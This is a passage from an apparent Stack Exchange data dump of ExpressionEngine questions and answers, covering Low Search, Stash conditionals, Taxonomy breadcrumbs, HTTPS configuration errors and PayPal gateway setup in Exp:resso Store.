LastActivityDate="2013-11-18T18:41:50.580" Title="Cartthrob cart isn't properly tracking sessions or cookies/Can't add to cart on Ubuntu 12.04" Tags="|cartthrob|sessions|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15544" PostTypeId="2" ParentId="15538" CreationDate="2013-11-07T16:34:26.677" Score="3" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Since the VMG Chosen Member is a custom field that just captures the &lt;code&gt;member_id&lt;/code&gt; and doesn't override the &lt;code&gt;author_id&lt;/code&gt; of the entry, you could use the search parameter with Low search to find the correct entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    collection=&quot;fsr&quot;&#xA;    search_mode=&quot;all&quot;&#xA;    search:fsr-customer=&quot;{logged_in_member_id}&quot;&#xA;    result_page=&quot;search/results&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure the &lt;code&gt;fsr-customer&lt;/code&gt; field is set to &lt;code&gt;searchable&lt;/code&gt; too. If this doesn't work, it's most likely a parse order issue with &lt;code&gt;logged_in_member_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update #2&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;With the release of Low Search 3 just now, if the above does not work because of parse order, you can now use &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters&quot; rel=&quot;nofollow&quot;&gt;parameters as input fields&lt;/a&gt; in the latest version. So you could alternatively do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;search:fsr-customer&quot; value=&quot;{logged_in_member_id}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I don't believe the native search module supports this type of use. You could use a 3rd party addon like &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; which allows you to use &lt;strong&gt;all&lt;/strong&gt; of the native &lt;code&gt;{exp:channel:entries}&lt;/code&gt; parameters. So you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    author_id=&quot;CURRENT_USER&quot;&#xA;    collection=&quot;fsr&quot;&#xA;    search_mode=&quot;all&quot;&#xA;    result_page=&quot;search/results&quot;&#xA;}&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; /&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would then return only entries of the currently logged in user. Also, I updated your relevant entries channel tag. The conditional is unnecessary when using the &lt;code&gt;author_id&lt;/code&gt; parameter and the &lt;code&gt;CURRENT_USER&lt;/code&gt; constant. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fsr&quot; author_id=&quot;CURRENT_USER&quot; disable=&quot;categories|trackbacks&quot; dynamic=&quot;off&quot; orderby=&quot;fsr-datefield&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-datefield format=&quot;%Y-%m-%d&quot;}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-system-name}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{fsr-call-type}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{fsr-pdf}&quot; class=&quot;btn&quot; target=&quot;_blank&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;{if no_results}&#xA;    Currently you have no entries assigned to you&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-11-12T15:39:38.357" LastActivityDate="2013-11-12T15:39:38.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15545" PostTypeId="2" ParentId="14812" CreationDate="2013-11-07T16:58:46.523" Score="1" Body="&lt;p&gt;I can't locally test this, but I thought if you could use some time of looping/increment plugin you could potentially use a couple conditionals to test and increment within the &lt;code&gt;{calendar_no_results}&lt;/code&gt; tag. I was thinking this could work with the &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/loop-plus&quot; rel=&quot;nofollow&quot;&gt;Loop Plus&lt;/a&gt;&lt;/strong&gt; add-on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;education&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;&amp;lt;ul&amp;gt; &#xA;  {exp:playa:children channel=&quot;calendar_events&quot; limit=&quot;5&quot;}&#xA;    {exp:calendar:events event_id=&quot;{entry_id}&quot; date_range_start=&quot;today&quot; date_range_end=&quot;3 months&quot;}&#xA;      {exp:loop_plus start=&quot;1&quot; increment=&quot;1&quot;}&#xA;          {if calendar_no_results}&#xA;&#xA;                {loop_area}&#xA;                    {loop_count}&#xA;                {/loop_area}&#xA;&#xA;          {/if}&#xA;&#xA;          &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt; &#xA;&#xA;          {if count == total_results AND loop_count &amp;gt; 1}&#xA;            No Events?&#xA;          {/if}&#xA;&#xA;      {/exp:loop_plus}                  &#xA;    {/exp:calendar:events}&#xA;  {/exp:playa:children}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-11-07T17:19:45.370" LastActivityDate="2013-11-07T17:19:45.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15546" PostTypeId="1" CreationDate="2013-11-07T17:04:17.247" Score="2" ViewCount="95" Body="&lt;p&gt;I have read every post I can find on this topic and cannot get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set &lt;strong&gt;both&lt;/strong&gt; the Matrix field and Matrix columns to Searchable.&#xA;I have &lt;strong&gt;re-saved&lt;/strong&gt; my entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what, my search results will not pull up an entry with a text string match in the Label/Text column of my matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Search Page:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form result_page=&quot;/search_results&quot; search_in&quot;everywhere&quot; where=&quot;any&quot;}&#xA;                &amp;lt;p&amp;gt;&#xA;                    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;br&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;                {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Results Page:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results backspace=&quot;7&quot;}&#xA;                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{auto_path}/result&quot;&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {excerpt}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;span style=&quot;float:right;&quot;&amp;gt;Site Section: &amp;lt;a href=&quot;/{channel_short_name}&quot;&amp;gt;{channel}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;ul class=&quot;image&quot;&amp;gt;&#xA;                    &amp;lt;li class=&quot;arrow&quot;&amp;gt;&amp;lt;a href=&quot;{auto_path}/result&quot;&amp;gt;Read More...&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;hr/&amp;gt;&#xA;                {/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE v2.3.1&#xA;Matrix 2.2.3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sorry everyone, I cannot believe I left out &quot;=&quot;&#xA;search_in&quot;everywhere&quot;&#xA;All good now. What a waste of a day.&#xA;/sigh.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2335" LastEditorUserId="2335" LastEditDate="2013-11-07T17:19:32.330" LastActivityDate="2013-11-07T17:19:32.330" Title="Simple Search &amp; Matrix. What am I doing wrong?" Tags="|matrix|simple-search|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15547" PostTypeId="1" AcceptedAnswerId="15548" CreationDate="2013-11-07T17:32:31.597" Score="2" ViewCount="319" Body="&lt;p&gt;I set &quot;Force HTTPS connection for checkout and order tags&quot; to &quot;yes&quot; in the Exp:resso Store settings and was met with this error when viewing my store pages using https:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to Load Site Preferences; No Preferences Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All http page loads are fine when I see this error with https page loads.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-07T19:39:15.500" LastActivityDate="2013-11-07T19:39:15.500" Title="&quot;Unable to Load Site Preferences; No Preferences Found&quot; error with HTTPS" Tags="|error|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15548" PostTypeId="2" ParentId="15547" CreationDate="2013-11-07T17:32:31.597" Score="4" Body="&lt;p&gt;It turns out this error was caused by a misconfiguration of the SSL certificate at the web host's end.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After getting the error on Exp:resso Store pages using https, I tested a page load of the home page (a non Store page) and got the same error. I concluded it wasn't an Exp:resso Store specific issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I eliminated htaccess as the source of the error by loading the page with an empty .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then uploaded a test html file and tested page loads with http and https. https still failed and showed the EE error. This page load of a non-EE page shouldn't show an EE error ever... What the heck? So this wasn't an EE error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I concluded this was a server issue and emailed the host. They fixed the misconfiguration promptly.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-07T17:52:40.807" LastActivityDate="2013-11-07T17:52:40.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15549" PostTypeId="1" AcceptedAnswerId="15550" CreationDate="2013-11-07T17:44:53.243" Score="3" ViewCount="901" Body="&lt;p&gt;I'm using Stash lists to output channel entries grouped by the value of a custom field. In this case the custom field is a relationship field, but that's not relevant because the actual entries output is working just fine. What &lt;em&gt;is&lt;/em&gt; giving me problems is using the {count} variable to apply a heading to each group of entries. Here's my code (for simplicity I've removed most of the variables that I'm stashing and just including the 'reviewtext' one).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- STASH variables --&amp;gt;&#xA;{exp:channel:entries channel=&quot;reviews&quot; disable=&quot;categories|member_data|pagination&quot; show_expired=&quot;yes&quot; cache=&quot;yes&quot; refresh=&quot;10&quot;}&#xA;    {exp:stash:append_list name=&quot;entries&quot; context=&quot;{reviews_assigned_project:channel_short_name}&quot; parse_conditionals=&quot;yes&quot;}&#xA;        {stash:reviewtext}{reviews_review}{/stash:reviewtext}&#xA;    {/exp:stash:append_list}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;!-- book reviews --&amp;gt;&#xA;{exp:stash:get_list name=&quot;entries&quot; context=&quot;books&quot; process=&quot;end&quot;}&#xA;    {if {count} == 1}&#xA;        &amp;lt;h2&amp;gt;Book reviews&amp;lt;/h2&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;article&amp;gt;&#xA;        {reviewtext}&#xA;        {count} of {total_results}&#xA;    &amp;lt;/article&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;&amp;lt;!-- comic reviews --&amp;gt;&#xA;{exp:stash:get_list name=&quot;entries&quot; context=&quot;comics&quot; process=&quot;end&quot;}&#xA;    {if {count} == 1}&#xA;        &amp;lt;h2&amp;gt;Comic book reviews&amp;lt;/h2&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;article&amp;gt;&#xA;        {reviewtext}&#xA;        {count} of {total_results}&#xA;    &amp;lt;/article&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is fine apart from the conditional, which is output verbatim, with the exception that the value of {count} is parsed into the page. So, when I have three book reviews and two comic reviews, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- book reviews --&amp;gt;&#xA;{if 1 == 1}&#xA;    &amp;lt;h2&amp;gt;Book reviews&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&amp;lt;article&amp;gt;&#xA;    ... my entry content ...&#xA;    1 of 3&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;{if 2 == 1}&#xA;    &amp;lt;h2&amp;gt;Book reviews&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&amp;lt;article&amp;gt;&#xA;    ... my entry content ...&#xA;    2 of 3&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;{if 3 == 1}&#xA;    &amp;lt;h2&amp;gt;Book reviews&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&amp;lt;article&amp;gt;&#xA;    ... my entry content ...&#xA;    3 of 3&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;!-- comic reviews --&amp;gt;&#xA;{if 1 == 1}&#xA;    &amp;lt;h2&amp;gt;Comic book reviews&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&amp;lt;article&amp;gt;&#xA;    ... my entry content ...&#xA;    1 of 2&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;{if 2 == 1}&#xA;    &amp;lt;h2&amp;gt;Comic book reviews&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&amp;lt;article&amp;gt;&#xA;    ... my entry content ...&#xA;    2 of 2&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried wrapping the conditional in exp:ifelse tags, and I've tried using Switchee instead of the {if} conditional. In every case the conditional tags (of whatever sort, including the ifelse and switchee tags) are output as template code. I tried stashing the count as a variable but that gives me the count from the entire channel entries tag rather than the count of the list output - so my book reviews have counts of 1, 3 and 4, whilst my comic reviews have counts of 2 and 5. Not what I'm after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong and how can I get the stash:list's count to work in the conditional statement? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-11-07T18:20:57.307" Title="Stash list, conditionals, and {count}" Tags="|stash|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15550" PostTypeId="2" ParentId="15549" CreationDate="2013-11-07T18:20:57.307" Score="2" Body="&lt;p&gt;Try adding parse_conditionals=&quot;yes&quot; to your get_list. I think the issue is parse order for the conditionals on the get_list because you are using process=&quot;end&quot;. Does this work (I also added a prefix parameter for the count):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- book reviews --&amp;gt;&#xA;{exp:stash:get_list &#xA;    name=&quot;entries&quot; &#xA;    context=&quot;books&quot;&#xA;    parse_tags=&quot;yes&quot; &#xA;    parse_conditionals=&quot;yes&quot;&#xA;    prefix=&quot;st&quot;&#xA;    process=&quot;end&quot;&#xA;}&#xA;    {if {st:count} == 1}&#xA;        &amp;lt;h2&amp;gt;Comic book reviews&amp;lt;/h2&amp;gt;&#xA;    {/if}&#xA;    etc....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-11-07T18:20:57.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15551" PostTypeId="2" ParentId="15536" CreationDate="2013-11-07T18:35:28.363" Score="1" Body="&lt;p&gt;This was a bug introduced in Store 2.0.5. You can download the latest version 2.0.6 that was released today to fix this issue. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_206&quot; rel=&quot;nofollow&quot;&gt;Full Release Notes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-07T18:35:28.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15552" PostTypeId="1" AcceptedAnswerId="15556" CreationDate="2013-11-07T18:48:47.993" Score="2" ViewCount="83" Body="&lt;p&gt;I have a taxonomy tree with two levels.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Z6MsA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am on a page at the second level, i.e., Sales &amp;amp; Management Training, breadcrumbs look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; Careers &amp;lt; Training Programs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I only want to see the level immediately above the current page, which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; Training Programs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see a way to do this built in the the Taxonomy breadcrumb tag.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-11-07T19:16:12.957" Title="Taxonomy breadcrumbs - only show one level back" Tags="|taxonomy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15553" PostTypeId="2" ParentId="14498" CreationDate="2013-11-07T18:54:00.530" Score="2" Body="&lt;p&gt;I don't have a copy of Freeform Pro on hand, so I don't have the checkbox fieldtype, but with the free version of 4 I was able to accomplish this with the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I created a field for the checkbox as a text input named &quot;terms&quot; and attached it to my form&lt;/li&gt;&#xA;&lt;li&gt;I added the required=&quot;terms&quot; parameter to my {exp:freeform:form} tag.&lt;/li&gt;&#xA;&lt;li&gt;I added a checkbox input with the name=&quot;terms&quot; parameter inside my {exp:freeform:form} tag and set it's value to true.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Upon submission, if the checkbox is unchecked it fails as you would expect, and when it is checked it succeeds.&lt;/p&gt;&#xA;" OwnerUserId="766" LastActivityDate="2013-11-07T18:54:00.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15554" PostTypeId="2" ParentId="15526" CreationDate="2013-11-07T18:55:25.817" Score="2" Body="&lt;p&gt;There are a couple of different approaches that you can go about doing this. I am not a huge fan of the multiple member groups because it can be hard to maintain and it requires that you go to the Members admin area, select the members in question then change the member group as needed. If you have multiple videos and might need to have members able to see multiple videos it can easily become unmanageable. (5 videos would result in the need for 120 member groups for all video combinations, and 6 videos would result in 720 options)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option that I would recommend would be to take a look at something like &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;Entry Access&lt;/a&gt; which will create a new tab on your publish page. You can configure presets for specific member groups or members if you want or by default it will grant access to everyone unless you have selected certain member/groups to have access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option is fairly similar, there are a couple of Member fieldtypes (&lt;a href=&quot;http://devot-ee.com/add-ons/vmg-chosen-member&quot; rel=&quot;nofollow&quot;&gt;VMG Chosen Member&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/vz-members&quot; rel=&quot;nofollow&quot;&gt;VZ Members&lt;/a&gt;). With these you would select the members then you would need to have some logic in your template that checked the &lt;code&gt;logged_in_member_id&lt;/code&gt; vs the output of the &lt;code&gt;field_name&lt;/code&gt; of the member fieldtype you created. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-07T18:55:25.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15555" PostTypeId="2" ParentId="15552" CreationDate="2013-11-07T18:55:26.153" Score="1" Body="&lt;p&gt;You could use a conditionals with a single variable like &lt;code&gt;node_level&lt;/code&gt; to determine what is shown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:breadcrumbs}&#xA;    {if node_level &amp;gt; 1}&#xA;        {if here}&#xA;            {node_title}&#xA;        {if:else}&#xA;            &amp;lt;a href=&quot;{node_url}&quot;&amp;gt;{node_title}&amp;lt;/a&amp;gt; &amp;amp;rarr; &#xA;        {/if}&#xA;    {/if}&#xA;{/exp:taxonomy:breadcrumbs}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-11-07T18:55:26.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15556" PostTypeId="2" ParentId="15552" CreationDate="2013-11-07T19:16:12.957" Score="3" Body="&lt;p&gt;I love when I answer my own question. Instead of the breadcrumbs tag, just use get_node: &lt;a href=&quot;http://iain.co.nz/software/docs/taxonomy3-get-node&quot; rel=&quot;nofollow&quot;&gt;http://iain.co.nz/software/docs/taxonomy3-get-node&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This lets you get information about the parent, which is all we need. It's like a single, elegant, delicious little breadcrumb.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:get_node tree_id=&quot;2&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;a href=&quot;{this_parent_node_url}&quot;&amp;gt;&amp;lt; Back&amp;lt;/a&amp;gt;&#xA;{/exp:taxonomy:get_node}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-11-07T19:16:12.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15557" PostTypeId="2" ParentId="15479" CreationDate="2013-11-07T19:36:37.213" Score="3" Body="&lt;p&gt;Its hard to say what the local issue would be without any additional information, but here are a few things you might try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the request locally going to the correct url? Ajax will fail if for cross domain issues. Make sure the url is exactly the same as the one requested. &lt;/li&gt;&#xA;&lt;li&gt;Make sure that you aren't trying to hit an &quot;https&quot; url locally if you do not have an SSL certificate installed. That will throw an SSL error and result in an ajax failure. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="125" LastEditorUserId="28" LastEditDate="2013-11-07T19:39:59.127" LastActivityDate="2013-11-07T19:39:59.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15558" PostTypeId="2" ParentId="10337" CreationDate="2013-11-07T19:47:08.800" Score="2" Body="&lt;p&gt;I just want to point out that BrilliantRetail has methods for handling IPN callbacks when creating custom gateways. I would consider using the core methods instead of putting logic in templates or files outside of the ExpressionEngine system:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.brilliantretail.com/3-extending-brilliantretail/payment-gateways/index.html#ipn-methods&quot; rel=&quot;nofollow&quot;&gt;http://docs.brilliantretail.com/3-extending-brilliantretail/payment-gateways/index.html#ipn-methods&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PayPal Standard gateway included in the system/expressionengine/brilliant_retail/core/gateways folder would work as an example using IPN methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best, &#xA;David&lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2013-11-07T19:47:08.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15559" PostTypeId="1" CreationDate="2013-11-07T20:37:25.410" Score="1" ViewCount="1887" Body="&lt;p&gt;ExpressionEngine 2.4.0&#xA;Store 1.6.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're having issues with Paypal as when the browser goes back to the checkout page from Payal we get the &quot;Invalid response from payment gateway.&quot; message and the Store 1.6.4 cart doesn't record the transaction.  Paypal, however, does send out an e-mail to the client and we receive payment. Any thoughts on what could be the issue?  This has only been happening within the last 4 months.... Site has been running since August 2012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NjcLR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2033" LastEditorUserId="115" LastEditDate="2013-11-07T22:10:59.827" LastActivityDate="2013-11-08T10:12:08.673" Title="Paypal Issue: Invalid response from payment gateway" Tags="|expresso-store|paypal|payment-gateway|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15560" PostTypeId="2" ParentId="15559" CreationDate="2013-11-07T23:03:47.663" Score="2" Body="&lt;p&gt;PayPal has depreciated the PayPal Standard API which requires the use of their IPN (Instant Payment Notification) system which has been awful for as along as I can remember (and often causes orders to not complete since the IPN never gets sent). I would enable the PayPal Express gateway in &lt;strong&gt;Store &gt; Settings &gt; Payments Methods&lt;/strong&gt;  then &lt;strong&gt;Add New Payment Method&lt;/strong&gt; which should give something that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QPEw9.png&quot; alt=&quot;PayPal Express Gateway Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal Express Checkout requires an API Username, Password, and Signature. These are different from your PayPal account details. You can obtain your API details by logging in to your PayPal account, and clicking &lt;strong&gt;Profile &gt; My Selling Tools &gt; API Access &gt; Request/View API Credentials &gt; Request API Signature&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have enabled the gateway make it the default, if you have hardcoded the original Gateway Short Name in any of your templates you will need to change that to the &lt;code&gt;paypal_express&lt;/code&gt; short name and then you can disable the PayPal Standard gateway.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-07T23:03:47.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15561" PostTypeId="1" AcceptedAnswerId="16650" CreationDate="2013-11-07T23:08:27.423" Score="0" ViewCount="146" Body="&lt;ul&gt;&#xA;&lt;li&gt;MSM Setup&lt;/li&gt;&#xA;&lt;li&gt;EE 2.7.2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The site I am working on has masked CP access sitting on a subdomain of the site. This is a MSM setup in which the MSM sites are subdomains of the primary site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;site.com&lt;/li&gt;&#xA;&lt;li&gt;sub1.site.com&lt;/li&gt;&#xA;&lt;li&gt;sub2.site.com&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The masked CP access is setup so that each 'site' has its own location for the contributing groups to access independently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So again, something like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;admin.site.com&lt;/li&gt;&#xA;&lt;li&gt;admin.sub1.site.com&lt;/li&gt;&#xA;&lt;li&gt;admin.sub2.site.com&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All of the core files are located in the primary site admin folder (admin.site.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site index.php files are in their respective site folders (site.com, sub1.site.com, etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin.php files for the various admin folders has been renamed to index.php so that the contributing users can navigate to a clean URL of &lt;a href=&quot;http://admin.sub1.site.com&quot; rel=&quot;nofollow&quot;&gt;http://admin.sub1.site.com&lt;/a&gt; to get to that site segment's CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running into a lot of issues with resources not having permissions, CORS, etc. especially when using fieldtypes like wygwam when their is a NSM LiveLook tab. The NSM LiveLook tab errors with cross domain issues since it uses iframes to preview with when 